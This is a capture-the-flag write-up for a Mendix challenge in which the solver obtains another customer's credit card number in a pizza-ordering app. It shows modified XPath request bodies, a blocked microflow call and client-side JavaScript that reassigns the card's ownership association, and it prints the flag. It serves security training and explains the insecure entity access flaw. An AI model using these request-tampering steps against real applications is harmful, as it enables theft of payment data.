Jan pays!
Challenge

Jan is the master of the community, by connecting the dots he might even pay your pizza.
Application: https://pizzamario2025.mendixctf.com
Difficulty: Medium
Solution
In the previous challenge: 5 I Know Better we already learned how the order process and confirmation works. This challenge hints at the payment details and of course ‘Jan de Vries’ is the community master! So we are looking for Jan de Vries’ credit card. Instead of taking a $5 wrench and hit him with it until he tells us the card number, we can take a more subtle route. I think he will appreciate that.
▼ skip to the quickest solution or continue reading to learn more
First step is doing some recon. Where can we find usages of CreditCard? And what can we read? Functions like mx.session.sessionData.metadata provide an array of objects and their associations and attributes available to us. We can find usages of Mario.CreditCard, in several places. Retrieving the data via mx.data.get({xpath:"//Mario.CreditCard", callback: function(obj){console.log(obj);}}); returns all CreditCards in the system, but the CardNumber is hidden (except for our own).
Mario.CreditCard_Customer
Mario.OrderNP_CreditCard
Mario.GiftCard_CreditCard (readonly: true)
Mario.Payment_CreditCard (readonly: true)Back to the payment flow. Inspecting the browser request triggered by clicking “Select credit card” in the console reveals that the selection list is restricted by an XPath expression applied to the page’s grid. With Firefox you can right click the network request and select “Edit and Resend”. This allows us to modify the xas-request body and change the XPath.
{"action":"retrieve_by_xpath","params":{"xpath":"//Mario.CreditCard[Mario.CreditCard_Customer/Mario.Customer/Mario.Customer_Account = '[%CurrentUser%]']","schema":{"id":"6b777c7d-ec53-483b-a87c-2e8cfe918c64","offset":0,"sort":[["changedDate","desc"]],"amount":20},"count":true},"profiledata":{"1760956694234-42":37,"1760956694271-43":31,"1760956694303-44":31}}
// Change the request body to an XPath that filters on CardHolder 'Jan de Vries'
{"action":"retrieve_by_xpath","params":{"xpath":"//Mario.CreditCard[CardHolder = 'Jan de Vries']","schema":{"id":"6b777c7d-ec53-483b-a87c-2e8cfe918c64","offset":0,"sort":[["changedDate","desc"]],"amount":20},"count":true},"profiledata":{"1760956616654-38":43,"1760956616698-39":33,"1760956616732-40":27}}
This provides us with the GUID of the credit card of Jan. Now we just need to use that credit card for our order. Let’s see if we can use the “Edit and Resend” for this as well. The row click (in the select credit card modal) triggers two xas-requests. The first one executes a Microflow: ACT_NPOrder_CreditCard_Select, that is interesting! Let’s see what happens if we plug in the GUID of Jan’s CC (31243722416452236) instead of our own.
// Replace {"CreditCard":{"guid":"31243722416442903"} with the guid of Jan's CC.
{"action":"executemicroflow","params":{"name":"Mario.ACT_NPOrder_CreditCard_Select","params":{"CreditCard":{"guid":"31243722416442903"},"OrderNP":{"guid":"13510798882158504"}},"validationGuids":[]},"changes":{"13510798882158504":{"Date":{"hash":"za2wTp8MCU6LoevCplgLAyHqO9PdWpMR8Ox9mUL9QNE=","value":1760957610419},"TotalLineValue":{"hash":"2wPF5HdwGUsIsJ1FAOpTNaGRM+0S3gIrmncVzc1su9I=","value":"9"},"TotalPaymentValue":{"hash":"bfd43Fjp3d4/8jxqjbqG+rhgCDecwwf999M3hTzmlZA=","value":"9"},"Mario.OrderNP_Session":{"hash":"NS9AewFYvroPY3zx0b8ZHxD+pZB1+PYnBUk8fEx4c8g=","value":"24769797974333694"},"CardHolder":{"value":"Mendix Stephan"},"DeliveryAddress":{"value":"Wimz"},"DeliveryMoment":{"value":1760961211182},"CreditCardProvider":{"value":"AMEX"},"DeliveryMomentFormatted":{"hash":"N7Rh2iN6b0VmilZrKPm9XEaGoNmF5JIxzTG/04h9zRI=","value":"20251020115331182"},"CustomerEmailAddress":{"hash":"AAXcSeFBFzcSjcVbjtW1lKRv+sSnEeZ6g8cQE14UaAc=","value":"mendix@stephanbruijnis.dev"},"CustomerAddress":{"hash":"2f9PZk9jx7CFo8/k/iSdyTgf3uVBQ5tzcxCmDuVdsfg=","value":"Wimz"},"CustomerCardNr":{"value":"123456"},"CustomerName":{"hash":"T2VbcNypYsGkRNIKs75mNsea5ysYyfXrGnzhHl0lbZA=","value":"Mhfzws7QV8"},"Mario.OrderNP_CreditCard":{"hash":"fdYul7iAXXRSrAdtLCBa1Q4ubQcprW26B4/OiW0jEV8=","value":"31243722416442903"}}},"objects":[{"attributes":{"DeliveryAddress":{"value":null},"Mario.OrderNP_CreditCard":{"value":null},"CreditsUsed":{"readonly":true,"value":"0"},"CreditCardProvider":{"value":"AMEX"},"TotalPaymentValue":{"readonly":true,"value":"0"},"DeliveryMomentFormatted":{"readonly":true,"value":null},"OrderNumber":{"readonly":true,"value":null},"Date":{"readonly":true,"value":null},"TotalLineValue":{"readonly":true,"value":"0"},"CustomerEmailAddress":{"readonly":true,"value":null},"CustomerAddress":{"readonly":true,"value":null},"VoucherCode":{"value":null},"CardHolder":{"value":null},"CustomerCardNr":{"value":null},"CustomerName":{"readonly":true,"value":null},"DeliveryMoment":{"value":null},"Mario.OrderNP_Session":{"readonly":true,"value":null}},"guid":"13510798882158504","hash":"BMC5XLtG67zDNOhFBVyFN1VSQpCN0P47nWTqME45f6g=","objectType":"Mario.OrderNP"}],"profiledata":{"1760957660293-26":52}}Hmmm that would have been too easy. It didn’t work and the payment details are still the same. Let’s check the response of this xas-request, maybe we can learn something from it. The response contains an instruction for the browser:
{
"instructions": [
{
"args": {
"MessageContent": "RED ALERT, that is not your credit card! You have been logged!",
"MessageBlock": true,
"MessageType": "error"
},
"target": "system",
"type": "text_message"
}
]
}Ooos we got caught! But wait a minute…are they giving us a clue? Not my credit card? What was the original XPath again? By looking at the XPath from the selection page Mario.CreditCard_Customer/Mario.Customer/Mario.Customer_Account we can tell that they check if the Card belongs to my Customer. They probably do the same check in the Microflow. During the information gathering we already saw that CreditCard_Customer was not set to readonly, thus we know our next step: make that card ours.
mx.data.get({
// Get my Customer object
xpath:"//Mario.Customer[Mario.Customer_Account = '[%CurrentUser%]']",
callback: function(customer){
mx.data.get({
// Get the Credit Card object
guid:'31243722416452236',
callback: function(creditcard){
// Update the association between CreditCard and Customer
creditcard.set("Mario.CreditCard_Customer",customer[0]);
// Use the [0], to get the first customer, mx.data.get via xpath will return an array
mx.data.commit({
// Commit the change
mxobj: creditcard,
callback: function(){
console.log("All your cards belong to us");
}
})
}
})
}
});Now let’s reopen the “Select credit card” window, and we can see the credit card of Jan de Vries, including it’s card number (which is the flag).
It can help to do each of the mx functions separately before doing a nested or chained version. This way you detect issues earlier on.
Alternative: Ciphix
It would have been a lot easier to just open up the Ciphix tool and scan through the available entities — which we did for the CTF…but no pain, no gain.
An experienced user would quickly spot that all CreditCards are readable (although limited) and filtering on CardHolder would yield Jan’s credit card with write access on Mario.CreditCard_Customer.
Next step would be to edit this association with our Customer object GUID and commit the changes.

Go back to the order flow and open the Select credit card window. And there it is 🚩
Alternative: ZAP Break / Burp Intercept
Instead of using Firefox Edit and Resend in the Network tab of the Developer Tools (F12) we could have used proxy tools like OWASP ZAP or Burp Suite. These tools make the process of intercept and modify request a bit easier to manage. However the concepts remain the same: identify which requests are sent (browser -> server) and what responses are received (server -> browser), then try to discover how these requests can be used to achieve our goal (find guids, update values, retrieve data).
Vulnerability
This challenge is about entity access: make sure that users can only read or write the attributes they are authorized to. Just like the previous challenge it maps to TSU-02 Insecure entity access as the user is able to manipulate data they should not control.
Flag
This is the way.Flag
CTF{JanP@ysAllTh3P!zz4s}